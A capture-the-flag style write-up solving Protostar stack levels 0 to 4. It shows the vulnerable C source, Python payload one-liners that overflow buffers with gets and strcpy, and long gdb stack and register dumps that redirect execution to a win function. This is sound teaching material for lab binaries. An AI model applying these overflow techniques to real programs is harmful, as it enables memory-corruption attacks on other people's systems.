All the Exploit.Education problems are in their downloads page as iso files which have to be mounted to a machine (VM).
Challenges | Summary |
---|---|
stack0 | trigger sigsegv, basic memory corruption |
stack1 | change the value of another var |
stack2 | change another var to an unprintable value from an environment var |
stack3 | overwrite a function pointer variable to point to another function |
stack4 | overwrite the instruction pointer to call an uncalled function |
stack5 | spawn a shell using a shellcode and overwriting the instruction pointer to jump to it |
stack6 | ret2.text and ret2libc |
stack7 | ret2.text again |
The concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Since all we need to do is to change the modified
variable, we can input 65 chars to fill up the buffer[64]
variable, then we will have 1 char leftover that will “contaminate” the variable after it which is the modified
variable.
user@protostar:/opt/protostar/bin$ python -c "print 'a'*65"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user@protostar:/opt/protostar/bin$ ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
you have changed the 'modified' variable
This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.
Protostar is little endian
We already know that we can overwrite the value of modified
by filling up buffer[64]
, so by looking at the source, it shows that we have to change the value of modified
into 0x61626364
. Referring to the 1st hint, we look at man ascii
to find this
Oct Dec Hex Char
──────────────────────
...
141 97 61 a
142 98 62 b
143 99 63 c
144 100 64 d
...
Now we know that we need to overwrite modified
with those chars, regarding the 2nd hint, being little endian means that 0x61626364
translates into dcba
, not abcd
, so we have to “invert” our payload. So the final payload is 64 chars concatenated with dcba
, and since we need to put our payload in argv[1]
, we do this:
user@protostar:/opt/protostar/bin$ python -c "print 'a'*64"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user@protostar:/opt/protostar/bin$ ./stack1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba
you have correctly got the variable to the right value
Stack2 looks at environment variables, and how they can be set.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
I managed to solve this after watching this video (highly recommended that you watch this first) a couple times, I will be using the gdb
debugging technique as demonstrated in the video.
First we set the environment variable with the export
command:
export GREENIE=BBAA
We then open up gdb ./stack2
then set 2 breakpoints at before and after strcpy
.
(gdb) disas main
Dump of assembler code for function main:
...
0x080484df <main+75>: call 0x804839c <strcpy@plt>
0x080484e4 <main+80>: mov eax,DWORD PTR [esp+0x58]
...
End of assembler dump.
(gdb) break *0x080484df
Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20.
(gdb) break *0x080484e4
Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.
After that we run the program, because I used the hook-stop
shown in the video, I can conviniently see the stack at each breakpoint, here’s the stack before strcpy
is run:
0xbffff730: 0xbffff748 0xbffffa00 0xb7fff8f8 0xb7f0186e
0xbffff740: 0xb7fd7ff4 0xb7ec6165 0xbffff758 0xb7eada75
0xbffff750: 0xb7fd7ff4 0x08049748 0xbffff768 0x08048358
0xbffff760: 0xb7ff1040 0x08049748 0xbffff798 0x08048549
0xbffff770: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff798
0xbffff780: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffffa00
Here’s after strcpy
copied $GREENIE
environment variable (with the value BBAA
which translates into 0x41414242
) into buffer[64]
:
0xbffff730: 0xbffff748 0xbffffa00 0xb7fff8f8 0xb7f0186e
0xbffff740: 0xb7fd7ff4 0xb7ec6165 0x41414242 0xb7eada00
0xbffff750: 0xb7fd7ff4 0x08049748 0xbffff768 0x08048358
0xbffff760: 0xb7ff1040 0x08049748 0xbffff798 0x08048549
0xbffff770: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff798
0xbffff780: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffffa00
We see that it gets copied into 0xbffff748
(which is the third column of the 0xbffff740
row). We also see that the modified
variable with the value 0
is possibly at 0xbffff788
, counting the “distance” between the two variables, it sums up to 64 total chars. Knowing this, let’s change the $GREENIE
variable and then restart from the beginning:
export GREENIE=$(python -c "str = 'A'*64; str += 'BBBB'; print str")
Now we look at the stack after strcpy
ran:
0xbffff6f0: 0xbffff708 0xbffff9c0 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0x41414141 0x41414141
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff740: 0x41414141 0x41414141 0x42424242 0xbffff900
We see that BBBB
actually gets in 0xbffff788
, if we try to continue the program we get:
(gdb) c
Continuing.
Try again, you got 0x42424242
Now if we look at the source code, we need to change the value of 0xbffff788
into 0x0a0d0a0d
. I found this article and learned how to echo simple binary data. With using subcommands, we can put it in the $GREENIE
environment variable!
export GREENIE=$(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d")
We check the contents of $GREENIE
:
user@protostar:/opt/protostar/bin$ printf %s "$GREENIE" | hexdump -Cv
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000040 0a 0d 0a 0d |....|
00000044
Nice, our last 4 bytes are 0x0d0a0d0a
(little endian) just like how the source wants it. Now we try to run it in gdb
and look at the stack after strcpy
:
0xbffff6f0: 0xbffff708 0xbffff9c0 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0x41414141 0x41414141
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff740: 0x41414141 0x41414141 0x0d0a0d0a 0xbffff900
Continue until it’s done:
(gdb) c
Continuing.
you have correctly modified the variable
We can also just run it normally since environment variables are accessible to all processes:
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
user@protostar:/opt/protostar/bin$ export GREENIE=$(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d")
user@protostar:/opt/protostar/bin$ gdb ./stack2
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack2...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>x/2i $eip
>end
(gdb) disas main
Dump of assembler code for function main:
0x08048494 <main+0>: push ebp
0x08048495 <main+1>: mov ebp,esp
0x08048497 <main+3>: and esp,0xfffffff0
0x0804849a <main+6>: sub esp,0x60
0x0804849d <main+9>: mov DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>: call 0x804837c <getenv@plt>
0x080484a9 <main+21>: mov DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>: cmp DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>: jne 0x80484c8 <main+52>
0x080484b4 <main+32>: mov DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>: mov DWORD PTR [esp],0x1
0x080484c3 <main+47>: call 0x80483bc <errx@plt>
0x080484c8 <main+52>: mov DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>: mov eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>: mov DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>: lea eax,[esp+0x18]
0x080484dc <main+72>: mov DWORD PTR [esp],eax
0x080484df <main+75>: call 0x804839c <strcpy@plt>
0x080484e4 <main+80>: mov eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>: cmp eax,0xd0a0d0a
0x080484ed <main+89>: jne 0x80484fd <main+105>
0x080484ef <main+91>: mov DWORD PTR [esp],0x8048618
0x080484f6 <main+98>: call 0x80483cc <puts@plt>
0x080484fb <main+103>: jmp 0x8048512 <main+126>
0x080484fd <main+105>: mov edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>: mov eax,0x8048641
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) break *0x080484df
Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20.
(gdb) break *0x080484e4
Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/stack2
0xbffff6f0: 0xbffff708 0xbffff9c0 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0xb7eada75
0xbffff710: 0xb7fd7ff4 0x08049748 0xbffff728 0x08048358
0xbffff720: 0xb7ff1040 0x08049748 0xbffff758 0x08048549
0xbffff730: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff758
0xbffff740: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffff9c0
0x80484df <main+75>: call 0x804839c <strcpy@plt>
0x80484e4 <main+80>: mov eax,DWORD PTR [esp+0x58]
Breakpoint 1, 0x080484df in main (argc=1, argv=0xbffff804) at stack2/stack2.c:20
20 stack2/stack2.c: No such file or directory.
in stack2/stack2.c
(gdb) c
Continuing.
0xbffff6f0: 0xbffff708 0xbffff9c0 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0x41414141 0x41414141
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff740: 0x41414141 0x41414141 0x0d0a0d0a 0xbffff900
0x80484e4 <main+80>: mov eax,DWORD PTR [esp+0x58]
0x80484e8 <main+84>: cmp eax,0xd0a0d0a
Breakpoint 2, main (argc=1, argv=0xbffff804) at stack2/stack2.c:22
22 in stack2/stack2.c
(gdb) c
Continuing.
you have correctly modified the variable
Program exited with code 051.
Error while running hook_stop:
No registers.
(gdb)
Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
both gdb and objdump is your friend in helping you determine where the win() function lies in memory.
I learned how to redirect a file as “input from stdin” to a program opened in gdb
and find the location of a function in the stack after watching this video which then made me solve this problem.
First we find the location of the win()
function through gdb with:
(gdb) x win
0x8048424 <win>: 0x83e58955
Now we know the function is at 0x8048424
, so let’s make the payload file (through another ssh session so we don’t exit gdb
):
python -c "pl = 'A'*64; pl += '\x24\x84\x04\x08'; print pl" > payload.txt
Now let’s set a breakpoint before printf
we will know that we have successfully overwritten the fp
variable if we trigger the breakpoint, we just want to know the value of fp
now:
(gdb) disas main
Dump of assembler code for function main:
...
0x0804846c <main+52>: call 0x8048350 <printf@plt>
...
End of assembler dump.
(gdb) b *0x0804846c
Breakpoint 1 at 0x804846c: file stack3/stack3.c, line 21.
From the video, we can now direct the file (containing our payload) as input from stdin in gdb
:
(gdb) r < /home/user/payload.txt
when we hit the breakpoint, we see the stack:
0xbffff740: 0x08048560 0x08048424 0xb7fff8f8 0xb7f0186e
0xbffff750: 0xb7fd7ff4 0xb7ec6165 0xbffff768 0x41414141
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x08048424
Looks like we have overwritten the value of 0xbffff79c
into 0x08048424
successfully, so we continue the program:
(gdb) c
Continuing.
calling function pointer, jumping to 0x08048424
code flow successfully changed
We have successfully overwritten the value of fp
to the address of win()
, and because fp
is now a function pointer pointing to win()
, calling fp
means we are calling win()
.
user@protostar:~$ python -c "pl = 'A'*64; pl += '\x24\x84\x04\x08'; print pl" > payload.txt
user@protostar:~$ cat payload.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$�
user@protostar:/opt/protostar/bin$ gdb ./stack3
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>end
(gdb) disas main
Dump of assembler code for function main:
0x08048438 <main+0>: push ebp
0x08048439 <main+1>: mov ebp,esp
0x0804843b <main+3>: and esp,0xfffffff0
0x0804843e <main+6>: sub esp,0x60
0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>: lea eax,[esp+0x1c]
0x0804844d <main+21>: mov DWORD PTR [esp],eax
0x08048450 <main+24>: call 0x8048330 <gets@plt>
0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>: je 0x8048477 <main+63>
0x0804845c <main+36>: mov eax,0x8048560
0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx
0x08048469 <main+49>: mov DWORD PTR [esp],eax
0x0804846c <main+52>: call 0x8048350 <printf@plt>
0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>: call eax
0x08048477 <main+63>: leave
0x08048478 <main+64>: ret
End of assembler dump.
(gdb) b *0x0804846c
Breakpoint 1 at 0x804846c: file stack3/stack3.c, line 21.
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack3 < /home/user/payload.txt
0xbffff740: 0x08048560 0x08048424 0xb7fff8f8 0xb7f0186e
0xbffff750: 0xb7fd7ff4 0xb7ec6165 0xbffff768 0x41414141
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x08048424
Breakpoint 1, 0x0804846c in main (argc=1, argv=0xbffff854) at stack3/stack3.c:21
21 stack3/stack3.c: No such file or directory.
in stack3/stack3.c
(gdb) c
Continuing.
calling function pointer, jumping to 0x08048424
code flow successfully changed
Program exited with code 037.
Error while running hook_stop:
No registers.
(gdb)
Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
A variety of introductory papers into buffer overflows may help.
gdb lets you do “run < input”
EIP is not directly after the end of buffer, compiler padding can also increase the size.
This solution will consist of 2 parts:
First I went into gdb
to find out where win()
is located in the stack:
(gdb) x win
0x80483f4 <win>: 0x83e58955
Now we know win()
is at 0x80483f4
, so my first attempt was to fill up buffer[64]
and then overwriting the eip
that was pushed into the stack when main
was called by __libc_start_main
:
python -c "pl = 'A'*64; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt
Let’s disassemble main and set some breakpoints to know how the stack and registers changes:
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>: push ebp
...
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
...
End of assembler dump.
(gdb) b *0x08048408
Breakpoint 1 at 0x8048408: file stack4/stack4.c, line 12.
(gdb) b *0x08048409
Breakpoint 2 at 0x8048409: file stack4/stack4.c, line 12.
(gdb) b *0x08048418
Breakpoint 3 at 0x8048418: file stack4/stack4.c, line 15.
(gdb) b *0x0804841d
Breakpoint 4 at 0x804841d: file stack4/stack4.c, line 16.
The reasons for the breakpoints are:
main
did anythingebp
was pushed into the stackgets
So we run the program, 1st breakpoint, stack and registers looks like this:
0xbffff7ac: 0xb7eadc76 0x00000001 0xbffff854 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x0804824b 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0x0140fbd8 0x2b17edc8
0xbffff7fc: 0x00000000 0x00000000 0x00000000 0x00000001
...
ebp 0xbffff828 0xbffff828
eip 0x8048408 0x8048408 <main>
Continue, 2nd breakpoint, we see that ebp
with the value 0xbffff828
was indeed pushed into the stack at 0xbffff7a8
, and now the stack view has shifted a by 1 column:
0xbffff7a8: 0xbffff828 0xb7eadc76 0x00000001 0xbffff854
0xbffff7b8: 0xbffff85c 0xb7fe1848 0xbffff810 0xffffffff
0xbffff7c8: 0xb7ffeff4 0x0804824b 0x00000001 0xbffff810
0xbffff7d8: 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4
0xbffff7e8: 0x00000000 0x00000000 0xbffff828 0x0140fbd8
0xbffff7f8: 0x2b17edc8 0x00000000 0x00000000 0x00000000
...
ebp 0xbffff828 0xbffff828
eip 0x8048409 0x8048409 <main+1>
Continue, 3rd breakpoint, the stack pointer has moved, so the stack view has also moved, but we can still see our old ebp
that was pushed at 0xbffff7a8
:
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0xb7fd7ff4 0x080495ec 0xbffff778 0x080482e8
0xbffff770: 0xb7ff1040 0x080495ec 0xbffff7a8 0x08048449
0xbffff780: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffff7a8
0xbffff790: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
0xbffff7a0: 0x08048430 0x00000000 0xbffff828 0xb7eadc76
...
ebp 0xbffff7a8 0xbffff7a8
eip 0x8048418 0x8048418 <main+16>
Continue, 4th breakpoint, gets
has run and now we see our payload in the stack:
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x080483f4 0x00000000 0xbffff828 0xb7eadc76
...
ebp 0xbffff7a8 0xbffff7a8
eip 0x804841d 0x804841d <main+21>
We can see that we wrote the return address too soon (at 0xbffff7a0
) as hinted by the 3rd hint. So we extend our fillers by 8 more chars to fill up more memory and overwrite the old ebp
at 0xbffff7a8
:
python -c "pl = 'A'*72; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt
We do everything from the beginning and now after the 4th breakpoint the stack looks like this:
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x41414141 0x41414141 0x080483f4 0xb7eadc00
Looks like we have overwritten ebp
to the address of win()
, but if we continue the program we get sigsegv:
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Second attempt, I realized that what we needed to overwrite was not the ebp
(which is pushed in the main
function) but the eip
that was pushed right before it (by the __libc_start_main
function who is the caller of main
function), so now we enlarge the filler by another 4 bytes:
python -c "pl = 'A'*76; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt
Now at the 4th breakpoint the stack looks like this:
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x080483f4
Continue, and we successfully changed the program flow
(gdb) c
Continuing.
code flow successfully changed
Doing it without gdb
:
user@protostar:/opt/protostar/bin$ cat /home/user/payload.txt | ./stack4
code flow successfully changed
Segmentation fault
user@protostar:~$ python -c "pl = 'A'*76; pl += '\xf4\x83\x04\x08'; print pl" > payload.txt
user@protostar:/opt/protostar/bin$ gdb ./stack4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>info registers
>x/2i $eip
>end
(gdb) x win
0x80483f4 <win>: 0x83e58955
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>: push ebp
0x08048409 <main+1>: mov ebp,esp
0x0804840b <main+3>: and esp,0xfffffff0
0x0804840e <main+6>: sub esp,0x50
0x08048411 <main+9>: lea eax,[esp+0x10]
0x08048415 <main+13>: mov DWORD PTR [esp],eax
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.
(gdb) b *0x08048408
Breakpoint 1 at 0x8048408: file stack4/stack4.c, line 12.
(gdb) b *0x08048409
Breakpoint 2 at 0x8048409: file stack4/stack4.c, line 12.
(gdb) b *0x08048418
Breakpoint 3 at 0x8048418: file stack4/stack4.c, line 15.
(gdb) b *0x0804841d
Breakpoint 4 at 0x804841d: file stack4/stack4.c, line 16.
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack4 < /home/user/payload.txt
0xbffff7ac: 0xb7eadc76 0x00000001 0xbffff854 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x0804824b 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0xfe81a663 0xd4d6b073
0xbffff7fc: 0x00000000 0x00000000 0x00000000 0x00000001
eax 0xbffff854 -1073743788
ecx 0xd4d6b073 -724127629
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7ac 0xbffff7ac
ebp 0xbffff828 0xbffff828
esi 0x0 0
edi 0x0 0
eip 0x8048408 0x8048408 <main>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x8048408 <main>: push ebp
0x8048409 <main+1>: mov ebp,esp
Breakpoint 1, main (argc=1, argv=0xbffff854) at stack4/stack4.c:12
12 stack4/stack4.c: No such file or directory.
in stack4/stack4.c
(gdb) c
Continuing.
0xbffff7a8: 0xbffff828 0xb7eadc76 0x00000001 0xbffff854
0xbffff7b8: 0xbffff85c 0xb7fe1848 0xbffff810 0xffffffff
0xbffff7c8: 0xb7ffeff4 0x0804824b 0x00000001 0xbffff810
0xbffff7d8: 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4
0xbffff7e8: 0x00000000 0x00000000 0xbffff828 0xfe81a663
0xbffff7f8: 0xd4d6b073 0x00000000 0x00000000 0x00000000
eax 0xbffff854 -1073743788
ecx 0xd4d6b073 -724127629
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7a8 0xbffff7a8
ebp 0xbffff828 0xbffff828
esi 0x0 0
edi 0x0 0
eip 0x8048409 0x8048409 <main+1>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x8048409 <main+1>: mov ebp,esp
0x804840b <main+3>: and esp,0xfffffff0
Breakpoint 2, 0x08048409 in main (argc=1, argv=0xbffff854) at stack4/stack4.c:12
12 in stack4/stack4.c
(gdb) c
Continuing.
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0xb7fd7ff4 0x080495ec 0xbffff778 0x080482e8
0xbffff770: 0xb7ff1040 0x080495ec 0xbffff7a8 0x08048449
0xbffff780: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffff7a8
0xbffff790: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
0xbffff7a0: 0x08048430 0x00000000 0xbffff828 0xb7eadc76
eax 0xbffff760 -1073744032
ecx 0xd4d6b073 -724127629
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7a8 0xbffff7a8
esi 0x0 0
edi 0x0 0
eip 0x8048418 0x8048418 <main+16>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x8048418 <main+16>: call 0x804830c <gets@plt>
0x804841d <main+21>: leave
Breakpoint 3, 0x08048418 in main (argc=1, argv=0xbffff854) at stack4/stack4.c:15
15 in stack4/stack4.c
(gdb) c
Continuing.
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x080483f4
eax 0xbffff760 -1073744032
ecx 0xbffff760 -1073744032
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7a8 0xbffff7a8
esi 0x0 0
edi 0x0 0
eip 0x804841d 0x804841d <main+21>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x804841d <main+21>: leave
0x804841e <main+22>: ret
Breakpoint 4, main (argc=0, argv=0xbffff854) at stack4/stack4.c:16
16 in stack4/stack4.c
(gdb) c
Continuing.
code flow successfully changed
Program received signal SIGSEGV, Segmentation fault.
0xbffff7b4: 0xbffff854 0xbffff85c 0xb7fe1848 0xbffff810
0xbffff7c4: 0xffffffff 0xb7ffeff4 0x0804824b 0x00000001
0xbffff7d4: 0xbffff810 0xb7ff0626 0xb7fffab0 0xb7fe1b28
0xbffff7e4: 0xb7fd7ff4 0x00000000 0x00000000 0xbffff828
0xbffff7f4: 0xfe81a663 0xd4d6b073 0x00000000 0x00000000
0xbffff804: 0x00000000 0x00000001 0x08048340 0x00000000
eax 0x1f 31
ecx 0xb7fd84c0 -1208122176
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7b4 0xbffff7b4
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x0 0
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x0: Error while running hook_stop:
Cannot access memory at address 0x0
0x00000000 in ?? ()
(gdb)
